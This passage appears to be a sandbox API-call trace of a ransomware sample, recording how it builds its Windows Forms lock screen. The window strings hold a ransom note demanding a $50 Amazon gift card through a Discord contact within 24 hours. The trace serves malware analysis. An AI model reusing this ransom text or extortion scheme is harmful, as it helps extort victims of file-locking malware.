GetWindowLongW (hWnd=0x601ae, nIndex=-4) returned 1961408713 [0033.611] SetWindowLongW (hWnd=0x601ae, nIndex=-4, dwNewLong=19272414) returned 1961408713 [0033.611] GetWindowLongW (hWnd=0x601ae, nIndex=-4) returned 19272414 [0033.611] GetWindowLongW (hWnd=0x601ae, nIndex=-16) returned 1174405133 [0033.611] GetWindowLongW (hWnd=0x601ae, nIndex=-12) returned 0 [0033.611] SetWindowLongW (hWnd=0x601ae, nIndex=-12, dwNewLong=393646) returned 0 [0033.611] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.611] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.611] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.611] GetWindow (hWnd=0x601ae, uCmd=0x3) returned 0x60024 [0033.611] GetClientRect (in: hWnd=0x601ae, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.611] GetWindowRect (in: hWnd=0x601ae, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.611] GetParent (hWnd=0x601ae) returned 0x80044 [0033.611] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee374, cPoints=0x2 | out: lpPoints=0x3ee374) returned -14025190 [0033.611] SetWindowTextW (hWnd=0x601ae, lpString="Locked Files") returned 1 [0033.611] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0xc, wParam=0x0, lParam=0x2f69b00) returned 0x1 [0033.611] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x5, wParam=0x0, lParam=0xd004f) returned 0x0 [0033.611] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x3, wParam=0x0, lParam=0x106000f) returned 0x0 [0033.611] GetClientRect (in: hWnd=0x601ae, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.611] GetWindowRect (in: hWnd=0x601ae, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.611] GetParent (hWnd=0x601ae) returned 0x80044 [0033.611] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3cc, cPoints=0x2 | out: lpPoints=0x3ee3cc) returned -14025190 [0033.612] SendMessageW (hWnd=0x601ae, Msg=0x2210, wParam=0x1ae0001, lParam=0x601ae) returned 0x0 [0033.612] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x2210, wParam=0x1ae0001, lParam=0x601ae) returned 0x0 [0033.612] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.612] GetParent (hWnd=0x601ae) returned 0x80044 [0033.612] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.612] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.612] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.612] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=-3, Y=-9, nWidth=15, nHeight=19, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x301b2 [0033.612] SetWindowLongW (hWnd=0x301b2, nIndex=-4, dwNewLong=2011243997) returned 19269902 [0033.612] GetWindowLongW (hWnd=0x301b2, nIndex=-4) returned 2011243997 [0033.612] SetWindowLongW (hWnd=0x301b2, nIndex=-4, dwNewLong=19272454) returned 2011243997 [0033.612] GetWindowLongW (hWnd=0x301b2, nIndex=-4) returned 19272454 [0033.612] GetWindowLongW (hWnd=0x301b2, nIndex=-16) returned 1174405120 [0033.612] GetWindowLongW (hWnd=0x301b2, nIndex=-12) returned 0 [0033.612] SetWindowLongW (hWnd=0x301b2, nIndex=-12, dwNewLong=197042) returned 0 [0033.612] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.613] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.613] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.613] GetWindow (hWnd=0x301b2, uCmd=0x3) returned 0x601ae [0033.613] GetClientRect (in: hWnd=0x301b2, lpRect=0x3ee3b0 | out: lpRect=0x3ee3b0) returned 1 [0033.613] GetWindowRect (in: hWnd=0x301b2, lpRect=0x3ee3b0 | out: lpRect=0x3ee3b0) returned 1 [0033.613] GetParent (hWnd=0x301b2) returned 0x80044 [0033.613] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3b0, cPoints=0x2 | out: lpPoints=0x3ee3b0) returned -14025190 [0033.613] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x5, wParam=0x0, lParam=0x13000f) returned 0x0 [0033.613] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x3, wParam=0x0, lParam=0xfff7fffd) returned 0x0 [0033.613] GetClientRect (in: hWnd=0x301b2, lpRect=0x3ee408 | out: lpRect=0x3ee408) returned 1 [0033.613] GetWindowRect (in: hWnd=0x301b2, lpRect=0x3ee408 | out: lpRect=0x3ee408) returned 1 [0033.613] GetParent (hWnd=0x301b2) returned 0x80044 [0033.613] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee408, cPoints=0x2 | out: lpPoints=0x3ee408) returned -14025190 [0033.613] SendMessageW (hWnd=0x301b2, Msg=0x2210, wParam=0x1b20001, lParam=0x301b2) returned 0x0 [0033.613] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x2210, wParam=0x1b20001, lParam=0x301b2) returned 0x0 [0033.613] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.613] GetParent (hWnd=0x301b2) returned 0x80044 [0033.613] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.613] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.613] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.614] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="CREATER: UNNAM3D", dwStyle=0x5600000d, X=319, Y=3, nWidth=146, nHeight=15, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x301b4 [0033.614] SetWindowLongW (hWnd=0x301b4, nIndex=-4, dwNewLong=1961408713) returned 19272374 [0033.614] GetWindowLongW (hWnd=0x301b4, nIndex=-4) returned 1961408713 [0033.614] SetWindowLongW (hWnd=0x301b4, nIndex=-4, dwNewLong=19272494) returned 1961408713 [0033.614] GetWindowLongW (hWnd=0x301b4, nIndex=-4) returned 19272494 [0033.614] GetWindowLongW (hWnd=0x301b4, nIndex=-16) returned 1174405133 [0033.614] GetWindowLongW (hWnd=0x301b4, nIndex=-12) returned 0 [0033.614] SetWindowLongW (hWnd=0x301b4, nIndex=-12, dwNewLong=197044) returned 0 [0033.614] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.614] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.614] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.614] GetWindow (hWnd=0x301b4, uCmd=0x3) returned 0x301b2 [0033.614] GetClientRect (in: hWnd=0x301b4, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.614] GetWindowRect (in: hWnd=0x301b4, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.614] GetParent (hWnd=0x301b4) returned 0x80044 [0033.614] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee374, cPoints=0x2 | out: lpPoints=0x3ee374) returned -14025190 [0033.614] SetWindowTextW (hWnd=0x301b4, lpString="CREATER: UNNAM3D") returned 1 [0033.614] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0xc, wParam=0x0, lParam=0x2f6a024) returned 0x1 [0033.614] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x5, wParam=0x0, lParam=0xf0092) returned 0x0 [0033.615] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x3, wParam=0x0, lParam=0x3013f) returned 0x0 [0033.615] GetClientRect (in: hWnd=0x301b4, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.615] GetWindowRect (in: hWnd=0x301b4, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.615] GetParent (hWnd=0x301b4) returned 0x80044 [0033.615] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3cc, cPoints=0x2 | out: lpPoints=0x3ee3cc) returned -14025190 [0033.615] SendMessageW (hWnd=0x301b4, Msg=0x2210, wParam=0x1b40001, lParam=0x301b4) returned 0x0 [0033.615] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x2210, wParam=0x1b40001, lParam=0x301b4) returned 0x0 [0033.615] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.615] GetParent (hWnd=0x301b4) returned 0x80044 [0033.615] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.615] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.615] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.615] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Discord: UNNAM3D#6666", dwStyle=0x5600000d, X=12, Y=406, nWidth=172, nHeight=15, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x301b6 [0033.615] SetWindowLongW (hWnd=0x301b6, nIndex=-4, dwNewLong=1961408713) returned 19272374 [0033.615] GetWindowLongW (hWnd=0x301b6, nIndex=-4) returned 1961408713 [0033.615] SetWindowLongW (hWnd=0x301b6, nIndex=-4, dwNewLong=19272534) returned 1961408713 [0033.615] GetWindowLongW (hWnd=0x301b6, nIndex=-4) returned 19272534 [0033.615] GetWindowLongW (hWnd=0x301b6, nIndex=-16) returned 1174405133 [0033.615] GetWindowLongW (hWnd=0x301b6, nIndex=-12) returned 0 [0033.616] SetWindowLongW (hWnd=0x301b6, nIndex=-12, dwNewLong=197046) returned 0 [0033.616] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.616] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.616] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.616] GetWindow (hWnd=0x301b6, uCmd=0x3) returned 0x301b4 [0033.616] GetClientRect (in: hWnd=0x301b6, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.616] GetWindowRect (in: hWnd=0x301b6, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.616] GetParent (hWnd=0x301b6) returned 0x80044 [0033.616] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee374, cPoints=0x2 | out: lpPoints=0x3ee374) returned -14025190 [0033.616] SetWindowTextW (hWnd=0x301b6, lpString="Discord: UNNAM3D#6666") returned 1 [0033.616] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0xc, wParam=0x0, lParam=0x2f4baa4) returned 0x1 [0033.616] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x5, wParam=0x0, lParam=0xf00ac) returned 0x0 [0033.616] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x3, wParam=0x0, lParam=0x196000c) returned 0x0 [0033.616] GetClientRect (in: hWnd=0x301b6, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.616] GetWindowRect (in: hWnd=0x301b6, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.616] GetParent (hWnd=0x301b6) returned 0x80044 [0033.616] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3cc, cPoints=0x2 | out: lpPoints=0x3ee3cc) returned -14025190 [0033.616] SendMessageW (hWnd=0x301b6, Msg=0x2210, wParam=0x1b60001, lParam=0x301b6) returned 0x0 [0033.616] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x2210, wParam=0x1b60001, lParam=0x301b6) returned 0x0 [0033.616] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.616] GetParent (hWnd=0x301b6) returned 0x80044 [0033.616] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.617] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.617] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.617] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", dwStyle=0x5600000d, X=14, Y=206, nWidth=382, nHeight=45, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x201ba [0033.617] SetWindowLongW (hWnd=0x201ba, nIndex=-4, dwNewLong=1961408713) returned 19272374 [0033.617] GetWindowLongW (hWnd=0x201ba, nIndex=-4) returned 1961408713 [0033.617] SetWindowLongW (hWnd=0x201ba, nIndex=-4, dwNewLong=19315686) returned 1961408713 [0033.618] GetWindowLongW (hWnd=0x201ba, nIndex=-4) returned 19315686 [0033.618] GetWindowLongW (hWnd=0x201ba, nIndex=-16) returned 1174405133 [0033.618] GetWindowLongW (hWnd=0x201ba, nIndex=-12) returned 0 [0033.618] SetWindowLongW (hWnd=0x201ba, nIndex=-12, dwNewLong=131514) returned 0 [0033.618] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.618] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.618] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.618] GetWindow (hWnd=0x201ba, uCmd=0x3) returned 0x301b6 [0033.618] GetClientRect (in: hWnd=0x201ba, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.618] GetWindowRect (in: hWnd=0x201ba, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.618] GetParent (hWnd=0x201ba) returned 0x80044 [0033.618] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee374, cPoints=0x2 | out: lpPoints=0x3ee374) returned -14025190 [0033.618] SetWindowTextW (hWnd=0x201ba, lpString="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.") returned 1 [0033.618] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0xc, wParam=0x0, lParam=0x2f47ba8) returned 0x1 [0033.618] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x5, wParam=0x0, lParam=0x2d017e) returned 0x0 [0033.618] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x3, wParam=0x0, lParam=0xce000e) returned 0x0 [0033.618] GetClientRect (in: hWnd=0x201ba, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.618] GetWindowRect (in: hWnd=0x201ba, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.618] GetParent (hWnd=0x201ba) returned 0x80044 [0033.618] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3cc, cPoints=0x2 | out: lpPoints=0x3ee3cc) returned -14025190 [0033.618] SendMessageW (hWnd=0x201ba, Msg=0x2210, wParam=0x1ba0001, lParam=0x201ba) returned 0x0 [0033.618] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x2210, wParam=0x1ba0001, lParam=0x201ba) returned 0x0 [0033.618] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.618] GetParent (hWnd=0x201ba) returned 0x80044 [0033.618] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.619] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.619] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.619] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", dwStyle=0x5600000d, X=14, Y=107, nWidth=435, nHeight=60, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x201b8 [0033.619] SetWindowLongW (hWnd=0x201b8, nIndex=-4, dwNewLong=1961408713) returned 19272374 [0033.619] GetWindowLongW (hWnd=0x201b8, nIndex=-4) returned 1961408713 [0033.619] SetWindowLongW (hWnd=0x201b8, nIndex=-4, dwNewLong=19315750) returned 1961408713 [0033.619] GetWindowLongW (hWnd=0x201b8, nIndex=-4) returned 19315750 [0033.619] GetWindowLongW (hWnd=0x201b8, nIndex=-16) returned 1174405133 [0033.619] GetWindowLongW (hWnd=0x201b8, nIndex=-12) returned 0 [0033.619] SetWindowLongW (hWnd=0x201b8, nIndex=-12, dwNewLong=131512) returned 0 [0033.619] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.619] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.619] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.619] GetWindow (hWnd=0x201b8, uCmd=0x3) returned 0x201ba [0033.620] GetClientRect (in: hWnd=0x201b8, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.620] GetWindowRect (in: hWnd=0x201b8, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.620] GetParent (hWnd=0x201b8) returned 0x80044 [0033.620] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee374, cPoints=0x2 | out: lpPoints=0x3ee374) returned -14025190 [0033.620] SetWindowTextW (hWnd=0x201b8, lpString="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n") returned 1 [0033.620] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0xc, wParam=0x0, lParam=0x2f4ada8) returned 0x1 [0033.620] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x5, wParam=0x0, lParam=0x3c01b3) returned 0x0 [0033.620] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x3, wParam=0x0, lParam=0x6b000e) returned 0x0 [0033.620] GetClientRect (in: hWnd=0x201b8, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.620] GetWindowRect (in: hWnd=0x201b8, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.620] GetParent (hWnd=0x201b8) returned 0x80044 [0033.620] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3cc, cPoints=0x2 | out: lpPoints=0x3ee3cc) returned -14025190 [0033.620] SendMessageW (hWnd=0x201b8, Msg=0x2210, wParam=0x1b80001, lParam=0x201b8) returned 0x0 [0033.620] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x2210, wParam=0x1b80001, lParam=0x201b8) returned 0x0 [0033.620] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.620] GetParent (hWnd=0x201b8) returned 0x80044 [0033.620] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.620] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.620] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.620] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="How do i pay?", dwStyle=0x5600000d, X=13, Y=173, nWidth=143, nHeight=24, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x201be [0033.621] SetWindowLongW (hWnd=0x201be, nIndex=-4, dwNewLong=1961408713) returned 19272374 [0033.621] GetWindowLongW (hWnd=0x201be, nIndex=-4) returned 1961408713 [0033.621] SetWindowLongW (hWnd=0x201be, nIndex=-4, dwNewLong=19315790) returned 1961408713 [0033.621] GetWindowLongW (hWnd=0x201be, nIndex=-4) returned 19315790 [0033.621] GetWindowLongW (hWnd=0x201be, nIndex=-16) returned 1174405133 [0033.621] GetWindowLongW (hWnd=0x201be, nIndex=-12) returned 0 [0033.621] SetWindowLongW (hWnd=0x201be, nIndex=-12, dwNewLong=131518) returned 0 [0033.621] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.621] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.621] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.621] GetWindow (hWnd=0x201be, uCmd=0x3) returned 0x201b8 [0033.621] GetClientRect (in: hWnd=0x201be, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.621] GetWindowRect (in: hWnd=0x201be, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.621] GetParent (hWnd=0x201be) returned 0x80044 [0033.621] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee374, cPoints=0x2 | out: lpPoints=0x3ee374) returned -14025190 [0033.621] SetWindowTextW (hWnd=0x201be, lpString="How do i pay?") returned 1 [0033.621] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0xc, wParam=0x0, lParam=0x2f4b294) returned 0x1 [0033.621] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x5, wParam=0x0, lParam=0x18008f) returned 0x0 [0033.622] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x3, wParam=0x0, lParam=0xad000d) returned 0x0 [0033.622] GetClientRect (in: hWnd=0x201be, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.622] GetWindowRect (in: hWnd=0x201be, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.622] GetParent (hWnd=0x201be) returned 0x80044 [0033.622] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3cc, cPoints=0x2 | out: lpPoints=0x3ee3cc) returned -14025190 [0033.622] SendMessageW (hWnd=0x201be, Msg=0x2210, wParam=0x1be0001, lParam=0x201be) returned 0x0 [0033.622] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x2210, wParam=0x1be0001, lParam=0x201be) returned 0x0 [0033.622] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.622] GetParent (hWnd=0x201be) returned 0x80044 [0033.622] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.622] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.622] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.622] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="What Happend?", dwStyle=0x5600000d, X=13, Y=74, nWidth=160, nHeight=24, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x201ee [0033.622] SetWindowLongW (hWnd=0x201ee, nIndex=-4, dwNewLong=1961408713) returned 19272374 [0033.622] GetWindowLongW (hWnd=0x201ee, nIndex=-4) returned 1961408713 [0033.622] SetWindowLongW (hWnd=0x201ee, nIndex=-4, dwNewLong=19315830) returned 1961408713 [0033.622] GetWindowLongW (hWnd=0x201ee, nIndex=-4) returned 19315830 [0033.622] GetWindowLongW (hWnd=0x201ee, nIndex=-16) returned 1174405133 [0033.622] GetWindowLongW (hWnd=0x201ee, nIndex=-12) returned 0 [0033.623] SetWindowLongW (hWnd=0x201ee, nIndex=-12, dwNewLong=131566) returned 0 [0033.623] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0x81, wParam=0x0, lParam=0x3ee648) returned 0x1 [0033.623] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0x83, wParam=0x0, lParam=0x3ee634) returned 0x0 [0033.623] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0x1, wParam=0x0, lParam=0x3ee648) returned 0x0 [0033.623] GetWindow (hWnd=0x201ee, uCmd=0x3) returned 0x201be [0033.623] GetClientRect (in: hWnd=0x201ee, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.623] GetWindowRect (in: hWnd=0x201ee, lpRect=0x3ee374 | out: lpRect=0x3ee374) returned 1 [0033.623] GetParent (hWnd=0x201ee) returned 0x80044 [0033.623] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee374, cPoints=0x2 | out: lpPoints=0x3ee374) returned -14025190 [0033.623] SetWindowTextW (hWnd=0x201ee, lpString="What Happend?") returned 1 [0033.623] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0xc, wParam=0x0, lParam=0x2f4b58c) returned 0x1 [0033.623] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0x5, wParam=0x0, lParam=0x1800a0) returned 0x0 [0033.623] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0x3, wParam=0x0, lParam=0x4a000d) returned 0x0 [0033.623] GetClientRect (in: hWnd=0x201ee, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.623] GetWindowRect (in: hWnd=0x201ee, lpRect=0x3ee3cc | out: lpRect=0x3ee3cc) returned 1 [0033.623] GetParent (hWnd=0x201ee) returned 0x80044 [0033.623] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3cc, cPoints=0x2 | out: lpPoints=0x3ee3cc) returned -14025190 [0033.623] SendMessageW (hWnd=0x201ee, Msg=0x2210, wParam=0x1ee0001, lParam=0x201ee) returned 0x0 [0033.623] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0x2210, wParam=0x1ee0001, lParam=0x201ee) returned 0x0 [0033.623] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, 